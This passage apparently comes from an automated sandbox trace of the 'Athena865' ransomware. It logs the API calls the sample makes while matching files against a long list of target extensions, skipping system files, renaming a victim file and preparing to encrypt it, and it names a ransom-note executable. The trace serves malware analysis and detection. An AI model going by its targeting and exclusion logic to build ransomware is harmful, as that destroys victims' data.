returned 3 [0092.362] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1 [0092.362] lstrlenW (lpString="frm") returned 3 [0092.362] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1 [0092.362] lstrlenW (lpString="gdb") returned 3 [0092.362] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.362] lstrlenW (lpString="gdb") returned 3 [0092.362] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.362] lstrlenW (lpString="grdb") returned 4 [0092.362] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1 [0092.362] lstrlenW (lpString="gwi") returned 3 [0092.362] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1 [0092.362] lstrlenW (lpString="hdb") returned 3 [0092.362] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1 [0092.362] lstrlenW (lpString="his") returned 3 [0092.363] lstrcmpiW (lpString1="htm", lpString2="his") returned 1 [0092.363] lstrlenW (lpString="ib") returned 2 [0092.363] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1 [0092.363] lstrlenW (lpString="idb") returned 3 [0092.363] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1 [0092.363] lstrlenW (lpString="ihx") returned 3 [0092.363] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1 [0092.363] lstrlenW (lpString="itdb") returned 4 [0092.363] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1 [0092.363] lstrlenW (lpString="itw") returned 3 [0092.363] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1 [0092.363] lstrlenW (lpString="jet") returned 3 [0092.363] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1 [0092.363] lstrlenW (lpString="jtx") returned 3 [0092.363] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1 [0092.363] lstrlenW (lpString="kdb") returned 3 [0092.363] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1 [0092.363] lstrlenW (lpString="kexi") returned 4 [0092.363] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1 [0092.363] lstrlenW (lpString="kexic") returned 5 [0092.363] lstrcmpiW (lpString1="i.htm", lpString2="kexic") returned -1 [0092.363] lstrlenW (lpString="kexis") returned 5 [0092.363] lstrcmpiW (lpString1="i.htm", lpString2="kexis") returned -1 [0092.363] lstrlenW (lpString="lgc") returned 3 [0092.363] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1 [0092.363] lstrlenW (lpString="lwx") returned 3 [0092.363] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1 [0092.363] lstrlenW (lpString="maf") returned 3 [0092.363] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1 [0092.363] lstrlenW (lpString="maq") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1 [0092.364] lstrlenW (lpString="mar") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1 [0092.364] lstrlenW (lpString="marshal") returned 7 [0092.364] lstrcmpiW (lpString1="imi.htm", lpString2="marshal") returned -1 [0092.364] lstrlenW (lpString="mas") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1 [0092.364] lstrlenW (lpString="mav") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1 [0092.364] lstrlenW (lpString="maw") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1 [0092.364] lstrlenW (lpString="mdbhtml") returned 7 [0092.364] lstrcmpiW (lpString1="imi.htm", lpString2="mdbhtml") returned -1 [0092.364] lstrlenW (lpString="mdn") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1 [0092.364] lstrlenW (lpString="mdt") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1 [0092.364] lstrlenW (lpString="mfd") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1 [0092.364] lstrlenW (lpString="mpd") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1 [0092.364] lstrlenW (lpString="mrg") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1 [0092.364] lstrlenW (lpString="mud") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1 [0092.364] lstrlenW (lpString="mwb") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1 [0092.364] lstrlenW (lpString="myd") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1 [0092.364] lstrlenW (lpString="ndf") returned 3 [0092.364] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1 [0092.365] lstrlenW (lpString="nnt") returned 3 [0092.365] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1 [0092.365] lstrlenW (lpString="nrmlib") returned 6 [0092.365] lstrcmpiW (lpString1="mi.htm", lpString2="nrmlib") returned -1 [0092.365] lstrlenW (lpString="ns2") returned 3 [0092.365] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1 [0092.365] lstrlenW (lpString="ns3") returned 3 [0092.365] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1 [0092.365] lstrlenW (lpString="ns4") returned 3 [0092.365] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1 [0092.365] lstrlenW (lpString="nsf") returned 3 [0092.365] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1 [0092.365] lstrlenW (lpString="nv") returned 2 [0092.365] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1 [0092.365] lstrlenW (lpString="nv2") returned 3 [0092.365] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1 [0092.365] lstrlenW (lpString="nwdb") returned 4 [0092.365] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1 [0092.365] lstrlenW (lpString="nyf") returned 3 [0092.365] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1 [0092.365] lstrlenW (lpString="odb") returned 3 [0092.365] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.365] lstrlenW (lpString="odb") returned 3 [0092.365] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.365] lstrlenW (lpString="oqy") returned 3 [0092.365] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1 [0092.365] lstrlenW (lpString="ora") returned 3 [0092.365] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1 [0092.365] lstrlenW (lpString="orx") returned 3 [0092.365] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1 [0092.366] lstrlenW (lpString="owc") returned 3 [0092.366] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1 [0092.366] lstrlenW (lpString="p96") returned 3 [0092.366] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1 [0092.366] lstrlenW (lpString="p97") returned 3 [0092.366] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1 [0092.366] lstrlenW (lpString="pan") returned 3 [0092.366] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1 [0092.366] lstrlenW (lpString="pdb") returned 3 [0092.366] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1 [0092.366] lstrlenW (lpString="pdm") returned 3 [0092.366] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1 [0092.366] lstrlenW (lpString="pnz") returned 3 [0092.366] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1 [0092.366] lstrlenW (lpString="qry") returned 3 [0092.366] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1 [0092.366] lstrlenW (lpString="qvd") returned 3 [0092.366] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1 [0092.366] lstrlenW (lpString="rbf") returned 3 [0092.366] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1 [0092.366] lstrlenW (lpString="rctd") returned 4 [0092.366] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1 [0092.366] lstrlenW (lpString="rod") returned 3 [0092.366] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1 [0092.366] lstrlenW (lpString="rodx") returned 4 [0092.366] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1 [0092.366] lstrlenW (lpString="rpd") returned 3 [0092.366] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1 [0092.366] lstrlenW (lpString="rsd") returned 3 [0092.366] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1 [0092.367] lstrlenW (lpString="sas7bdat") returned 8 [0092.367] lstrcmpiW (lpString1="gimi.htm", lpString2="sas7bdat") returned -1 [0092.367] lstrlenW (lpString="sbf") returned 3 [0092.367] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1 [0092.367] lstrlenW (lpString="scx") returned 3 [0092.367] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1 [0092.367] lstrlenW (lpString="sdb") returned 3 [0092.367] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1 [0092.367] lstrlenW (lpString="sdc") returned 3 [0092.367] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1 [0092.367] lstrlenW (lpString="sdf") returned 3 [0092.367] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1 [0092.367] lstrlenW (lpString="sis") returned 3 [0092.367] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1 [0092.367] lstrlenW (lpString="spq") returned 3 [0092.367] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1 [0092.367] lstrlenW (lpString="te") returned 2 [0092.367] lstrcmpiW (lpString1="tm", lpString2="te") returned 1 [0092.367] lstrlenW (lpString="teacher") returned 7 [0092.367] lstrcmpiW (lpString1="imi.htm", lpString2="teacher") returned -1 [0092.367] lstrlenW (lpString="tmd") returned 3 [0092.367] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1 [0092.367] lstrlenW (lpString="tps") returned 3 [0092.367] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1 [0092.367] lstrlenW (lpString="trc") returned 3 [0092.367] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.367] lstrlenW (lpString="trc") returned 3 [0092.367] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.367] lstrlenW (lpString="trm") returned 3 [0092.367] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1 [0092.367] lstrlenW (lpString="udb") returned 3 [0092.368] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1 [0092.368] lstrlenW (lpString="udl") returned 3 [0092.368] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1 [0092.368] lstrlenW (lpString="usr") returned 3 [0092.368] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1 [0092.368] lstrlenW (lpString="v12") returned 3 [0092.368] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1 [0092.368] lstrlenW (lpString="vis") returned 3 [0092.368] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1 [0092.368] lstrlenW (lpString="vpd") returned 3 [0092.368] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1 [0092.368] lstrlenW (lpString="vvv") returned 3 [0092.368] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1 [0092.368] lstrlenW (lpString="wdb") returned 3 [0092.368] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1 [0092.368] lstrlenW (lpString="wmdb") returned 4 [0092.368] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1 [0092.368] lstrlenW (lpString="wrk") returned 3 [0092.368] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1 [0092.368] lstrlenW (lpString="xdb") returned 3 [0092.368] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1 [0092.368] lstrlenW (lpString="xld") returned 3 [0092.368] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1 [0092.368] lstrlenW (lpString="xmlff") returned 5 [0092.368] lstrcmpiW (lpString1="i.htm", lpString2="xmlff") returned -1 [0092.368] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm.Athena865") returned 62 [0092.368] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm.athena865"), dwFlags=0x1) returned 1 [0092.369] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.370] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17033) returned 1 [0092.370] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.370] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.371] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.371] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.371] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.371] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.371] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4590, lpName=0x0) returned 0x154 [0092.373] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4590) returned 0x100000 [0092.375] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.376] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.376] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.377] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.377] CloseHandle (hObject=0x154) returned 1 [0092.377] CloseHandle (hObject=0x17c) returned 1 [0092.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.378] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4273, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LeiaMe.htm", cAlternateFileName="")) returned 1 [0092.378] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.378] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.378] lstrcmpiW (lpString1="LeiaMe.htm", lpString2=".") returned 1 [0092.378] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="..") returned 1 [0092.378] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="windows") returned -1 [0092.378] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="bootmgr") returned 1 [0092.378] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="temp") returned -1 [0092.378] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="pagefile.sys") returned -1 [0092.378] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="boot") returned 1 [0092.379] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="ids.txt") returned 1 [0092.379] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="ntuser.dat") returned -1 [0092.379] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="perflogs") returned -1 [0092.379] lstrcmpiW (lpString1="LeiaMe.htm", lpString2="MSBuild") returned -1 [0092.379] lstrlenW (lpString="LeiaMe.htm") returned 10 [0092.379] lstrcpyW (in: lpString1=0x241e89a, lpString2="LeiaMe.htm" | out: lpString1="LeiaMe.htm") returned="LeiaMe.htm" [0092.379] lstrlenW (lpString="LeiaMe.htm") returned 10 [0092.379] lstrlenW (lpString="Athena865") returned 9 [0092.379] lstrcmpiW (lpString1="eiaMe.htm", lpString2="Athena865") returned 1 [0092.379] lstrlenW (lpString=".dll") returned 4 [0092.379] lstrcmpiW (lpString1="LeiaMe.htm", lpString2=".dll") returned 1 [0092.379] lstrlenW (lpString=".lnk") returned 4 [0092.379] lstrcmpiW (lpString1="LeiaMe.htm", lpString2=".lnk") returned 1 [0092.379] lstrlenW (lpString=".ini") returned 4 [0092.379] lstrcmpiW (lpString1="LeiaMe.htm", lpString2=".ini") returned 1 [0092.379] lstrlenW (lpString=".sys") returned 4 [0092.379] lstrcmpiW (lpString1="LeiaMe.htm", lpString2=".sys") returned 1 [0092.379] lstrlenW (lpString="LeiaMe.htm") returned 10 [0092.379] lstrlenW (lpString="bak") returned 3 [0092.379] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0092.379] lstrlenW (lpString="ba_") returned 3 [0092.379] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0092.379] lstrlenW (lpString="dbb") returned 3 [0092.379] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0092.379] lstrlenW (lpString="vmdk") returned 4 [0092.379] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0092.379] lstrlenW (lpString="rar") returned 3 [0092.379] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0092.379] lstrlenW (lpString="zip") returned 3 [0092.379] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0092.379] lstrlenW (lpString="tgz") returned 3 [0092.380] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0092.380] lstrlenW (lpString="vbox") returned 4 [0092.380] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0092.380] lstrlenW (lpString="vdi") returned 3 [0092.380] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0092.380] lstrlenW (lpString="vhd") returned 3 [0092.380] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0092.380] lstrlenW (lpString="vhdx") returned 4 [0092.380] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0092.380] lstrlenW (lpString="avhd") returned 4 [0092.380] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0092.380] lstrlenW (lpString="db") returned 2 [0092.380] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0092.380] lstrlenW (lpString="db2") returned 3 [0092.380] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0092.380] lstrlenW (lpString="db3") returned 3 [0092.380] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0092.380] lstrlenW (lpString="dbf") returned 3 [0092.380] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0092.380] lstrlenW (lpString="mdf") returned 3 [0092.380] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0092.380] lstrlenW (lpString="mdb") returned 3 [0092.380] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0092.380] lstrlenW (lpString="sql") returned 3 [0092.380] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0092.380] lstrlenW (lpString="sqlite") returned 6 [0092.380] lstrcmpiW (lpString1="Me.htm", lpString2="sqlite") returned -1 [0092.380] lstrlenW (lpString="sqlite3") returned 7 [0092.380] lstrcmpiW (lpString1="aMe.htm", lpString2="sqlite3") returned -1 [0092.380] lstrlenW (lpString="sqlitedb") returned 8 [0092.380] lstrcmpiW (lpString1="iaMe.htm", lpString2="sqlitedb") returned -1 [0092.380] lstrlenW (lpString="xml") returned 3 [0092.381] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0092.381] lstrlenW (lpString="$er") returned 3 [0092.381] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0092.381] lstrlenW (lpString="4dd") returned 3 [0092.381] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0092.381] lstrlenW (lpString="4dl") returned 3 [0092.381] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0092.381] lstrlenW (lpString="^^^") returned 3 [0092.381] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0092.381] lstrlenW (lpString="abs") returned 3 [0092.381] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0092.381] lstrlenW (lpString="abx") returned 3 [0092.381] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0092.381] lstrlenW (lpString="accdb") returned 5 [0092.381] lstrcmpiW (lpString1="e.htm", lpString2="accdb") returned 1 [0092.381] lstrlenW (lpString="accdc") returned 5 [0092.381] lstrcmpiW (lpString1="e.htm", lpString2="accdc") returned 1 [0092.381] lstrlenW (lpString="accde") returned 5 [0092.381] lstrcmpiW (lpString1="e.htm", lpString2="accde") returned 1 [0092.381] lstrlenW (lpString="accdr") returned 5 [0092.381] lstrcmpiW (lpString1="e.htm", lpString2="accdr") returned 1 [0092.381] lstrlenW (lpString="accdt") returned 5 [0092.381] lstrcmpiW (lpString1="e.htm", lpString2="accdt") returned 1 [0092.381] lstrlenW (lpString="accdw") returned 5 [0092.381] lstrcmpiW (lpString1="e.htm", lpString2="accdw") returned 1 [0092.381] lstrlenW (lpString="accft") returned 5 [0092.381] lstrcmpiW (lpString1="e.htm", lpString2="accft") returned 1 [0092.381] lstrlenW (lpString="adb") returned 3 [0092.381] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.381] lstrlenW (lpString="adb") returned 3 [0092.381] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.381] lstrlenW (lpString="ade") returned 3 [0092.382] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0092.382] lstrlenW (lpString="adf") returned 3 [0092.382] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1 [0092.382] lstrlenW (lpString="adn") returned 3 [0092.382] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0092.382] lstrlenW (lpString="adp") returned 3 [0092.382] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0092.382] lstrlenW (lpString="alf") returned 3 [0092.382] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0092.382] lstrlenW (lpString="ask") returned 3 [0092.382] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0092.382] lstrlenW (lpString="btr") returned 3 [0092.382] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0092.382] lstrlenW (lpString="cat") returned 3 [0092.382] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0092.382] lstrlenW (lpString="cdb") returned 3 [0092.382] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0092.382] lstrlenW (lpString="ckp") returned 3 [0092.382] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0092.382] lstrlenW (lpString="cma") returned 3 [0092.382] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0092.382] lstrlenW (lpString="cpd") returned 3 [0092.382] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0092.382] lstrlenW (lpString="dacpac") returned 6 [0092.382] lstrcmpiW (lpString1="Me.htm", lpString2="dacpac") returned 1 [0092.382] lstrlenW (lpString="dad") returned 3 [0092.382] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0092.382] lstrlenW (lpString="dadiagrams") returned 10 [0092.382] lstrlenW (lpString="daschema") returned 8 [0092.382] lstrcmpiW (lpString1="iaMe.htm", lpString2="daschema") returned 1 [0092.382] lstrlenW (lpString="db-journal") returned 10 [0092.383] lstrlenW (lpString="db-shm") returned 6 [0092.383] lstrcmpiW (lpString1="Me.htm", lpString2="db-shm") returned 1 [0092.383] lstrlenW (lpString="db-wal") returned 6 [0092.383] lstrcmpiW (lpString1="Me.htm", lpString2="db-wal") returned 1 [0092.383] lstrlenW (lpString="dbc") returned 3 [0092.383] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0092.383] lstrlenW (lpString="dbs") returned 3 [0092.383] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0092.383] lstrlenW (lpString="dbt") returned 3 [0092.383] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0092.383] lstrlenW (lpString="dbv") returned 3 [0092.383] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0092.383] lstrlenW (lpString="dbx") returned 3 [0092.383] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0092.383] lstrlenW (lpString="dcb") returned 3 [0092.383] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0092.383] lstrlenW (lpString="dct") returned 3 [0092.383] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0092.383] lstrlenW (lpString="dcx") returned 3 [0092.383] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0092.383] lstrlenW (lpString="ddl") returned 3 [0092.383] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0092.383] lstrlenW (lpString="dlis") returned 4 [0092.383] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1 [0092.383] lstrlenW (lpString="dp1") returned 3 [0092.383] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1 [0092.383] lstrlenW (lpString="dqy") returned 3 [0092.383] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1 [0092.383] lstrlenW (lpString="dsk") returned 3 [0092.383] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1 [0092.383] lstrlenW (lpString="dsn") returned 3 [0092.383] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1 [0092.383] lstrlenW (lpString="dtsx") returned 4 [0092.384] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1 [0092.384] lstrlenW (lpString="dxl") returned 3 [0092.384] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1 [0092.384] lstrlenW (lpString="eco") returned 3 [0092.384] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1 [0092.384] lstrlenW (lpString="ecx") returned 3 [0092.384] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1 [0092.384] lstrlenW (lpString="edb") returned 3 [0092.384] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1 [0092.384] lstrlenW (lpString="epim") returned 4 [0092.384] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1 [0092.384] lstrlenW (lpString="fcd") returned 3 [0092.384] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1 [0092.384] lstrlenW (lpString="fdb") returned 3 [0092.384] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1 [0092.384] lstrlenW (lpString="fic") returned 3 [0092.384] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1 [0092.384] lstrlenW (lpString="flexolibrary") returned 12 [0092.384] lstrlenW (lpString="fm5") returned 3 [0092.384] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1 [0092.384] lstrlenW (lpString="fmp") returned 3 [0092.384] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1 [0092.384] lstrlenW (lpString="fmp12") returned 5 [0092.384] lstrcmpiW (lpString1="e.htm", lpString2="fmp12") returned -1 [0092.384] lstrlenW (lpString="fmpsl") returned 5 [0092.384] lstrcmpiW (lpString1="e.htm", lpString2="fmpsl") returned -1 [0092.384] lstrlenW 